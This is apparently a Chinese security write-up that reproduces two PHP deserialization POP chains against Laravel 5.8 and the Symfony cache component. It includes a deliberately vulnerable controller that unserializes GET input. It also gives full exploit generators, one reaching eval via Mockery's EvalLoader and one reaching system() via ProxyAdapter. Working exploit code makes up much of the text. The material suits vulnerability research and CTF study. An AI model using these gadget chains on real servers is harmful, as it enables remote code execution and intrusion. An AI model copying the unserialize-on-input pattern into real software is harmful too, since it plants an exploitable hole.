本篇文章将记录 laravel5.8 框架中的两条反序列化 POP链 。
漏洞环境
直接使用 composer 安装 laravel5.8 框架,并通过 php artisan serve 命令启动 Web 服务。
| 12
 3
 
 | ➜  composer create-project --prefer-dist laravel/laravel laravel58➜  cd laravel58
 ➜  php artisan serve --host=0.0.0.0
 
 | 
在 **laravel57/routes/web.php** 文件中添加一条路由,便于我们后续访问。
| 12
 3
 4
 
 | <?php
 Route::get("/","\App\Http\Controllers\DemoController@demo");
 ?>
 
 | 
在 laravel58/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | <?phpnamespace App\Http\Controllers;
 
 class DemoController extends Controller
 {
 public function demo()
 {
 if(isset($_GET['c'])){
 $code = $_GET['c'];
 unserialize($code);
 }
 else{
 highlight_file(__FILE__);
 }
 return "Welcome to laravel5.8";
 }
 }
 
 | 
POP链1
这条链来自 pithon 的代码审计小密圈,按照如上方法安装将默认存在该链。先从 PendingBroadcast 类的 __destruct 方法开始 POP链 ,将 $this->events 设置成 Dispatcher 类。进入 dispatch 方法后,我们要想办法执行到 第73行 的 dispatchToQueue 方法,因为在 dispatchToQueue 方法中存在 call_user_func 函数,且可以完成任意类方法调用,所以我们要使得 第72行 的 if 语句条件为真。 ShouldQueue 是个接口,我们只要让 $command 为实现该接口的类即可, $command 即 第57行 传入的 $this->event 。

现在我们已经可以调用任意类的任意方法了,下面就寻找可利用的类方法,这里我们使用的是 EvalLoader 类的 load 方法,因为里面有调用 eval 函数,且参数可控。接下来我们只要构造条件,使得 eval 函数前面的 if 语句块不执行 return 即可。如下图 第44行 ,我们只要找一个有 getName 方法的类,且返回结果可控即可。

整个链的构造相对容易,最终 EXP 如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 
 | <?phpnamespace PhpParser\Node\Scalar\MagicConst{
 class Line {}
 }
 namespace Mockery\Generator{
 class MockDefinition
 {
 protected $config;
 protected $code;
 
 public function __construct($config, $code)
 {
 $this->config = $config;
 $this->code = $code;
 }
 }
 }
 namespace Mockery\Loader{
 class EvalLoader{}
 }
 namespace Illuminate\Bus{
 class Dispatcher
 {
 protected $queueResolver;
 public function __construct($queueResolver)
 {
 $this->queueResolver = $queueResolver;
 }
 }
 }
 namespace Illuminate\Foundation\Console{
 class QueuedCommand
 {
 public $connection;
 public function __construct($connection)
 {
 $this->connection = $connection;
 }
 }
 }
 namespace Illuminate\Broadcasting{
 class PendingBroadcast
 {
 protected $events;
 protected $event;
 public function __construct($events, $event)
 {
 $this->events = $events;
 $this->event = $event;
 }
 }
 }
 namespace{
 $line = new PhpParser\Node\Scalar\MagicConst\Line();
 $mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
 $evalloader = new Mockery\Loader\EvalLoader();
 $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
 $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
 $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
 echo urlencode(serialize($pendingbroadcast));
 }
 ?>
 
 | 

POP链2
这条链来自前一阵CTF国赛某道题目。漏洞存在 symfony 组件中(影响至罪行 4.4.x-dev 版本),而默认安装的 laravel5.8 框架没有包含该组件。为了复现该漏洞,我们需要将 composer.json 文件中的 require 添加 “symfony/symfony”: “4.*” 并执行 composer update 命令即可。
POP链 的入口为 TagAwareAdapter 类的 __destruct 方法,经过一些列调用,其会调用 $this->pool 的 saveDeferred 方法。

这里,我们将 $this->pool 设置为 ProxyAdapter 类。在 ProxyAdapter 类的 saveDeferred 方法中,会调用本类的 doSave 方法。而在 doSave 方法中,我们发现了可控的动态调用,如下图 第223行 所示。

首先,程序将 $item 类强转成数组(上图 第207行 ),然后再从数组中取值作为下面动态调用函数的参数(上图 第213行 )。这里可以看到有 $item[“\0*\0expiry”]、$item[“\0*\0poolHash”] 这种写法,数组键名带有 \0*\0 。这实际上是类中,修饰符为 protected 的属性,在类强转成数组之后的结果。具体可以参考如下Demo:

这里动态调用 ($this->setInnerItem)($innerItem, $item) 中有两个参数,其中第一个参数可控,刚好 system 函数最多支持两个参数,所以我们这里可以利用 system 函数来执行命令。

整个链的构造相对容易,最终 EXP 如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 
 | <?phpnamespace Symfony\Component\Cache{
 final class CacheItem
 {
 protected $expiry;
 protected $poolHash;
 protected $innerItem;
 public function __construct($expiry, $poolHash, $command)
 {
 $this->expiry = $expiry;
 $this->poolHash = $poolHash;
 $this->innerItem = $command;
 }
 }
 }
 namespace Symfony\Component\Cache\Adapter{
 class ProxyAdapter
 {
 private $poolHash;
 private $setInnerItem;
 public function __construct($poolHash, $func)
 {
 $this->poolHash = $poolHash;
 $this->setInnerItem = $func;
 }
 }
 class TagAwareAdapter
 {
 private $deferred = [];
 private $pool;
 public function __construct($deferred, $pool)
 {
 $this->deferred = $deferred;
 $this->pool = $pool;
 }
 }
 }
 namespace {
 $cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami");
 $proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
 $tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
 echo urlencode(serialize($tagawareadapter));
 }
 
 | 
有的 symfony 组件版本执行命令后有回显,有的没有,具体大家自己测试。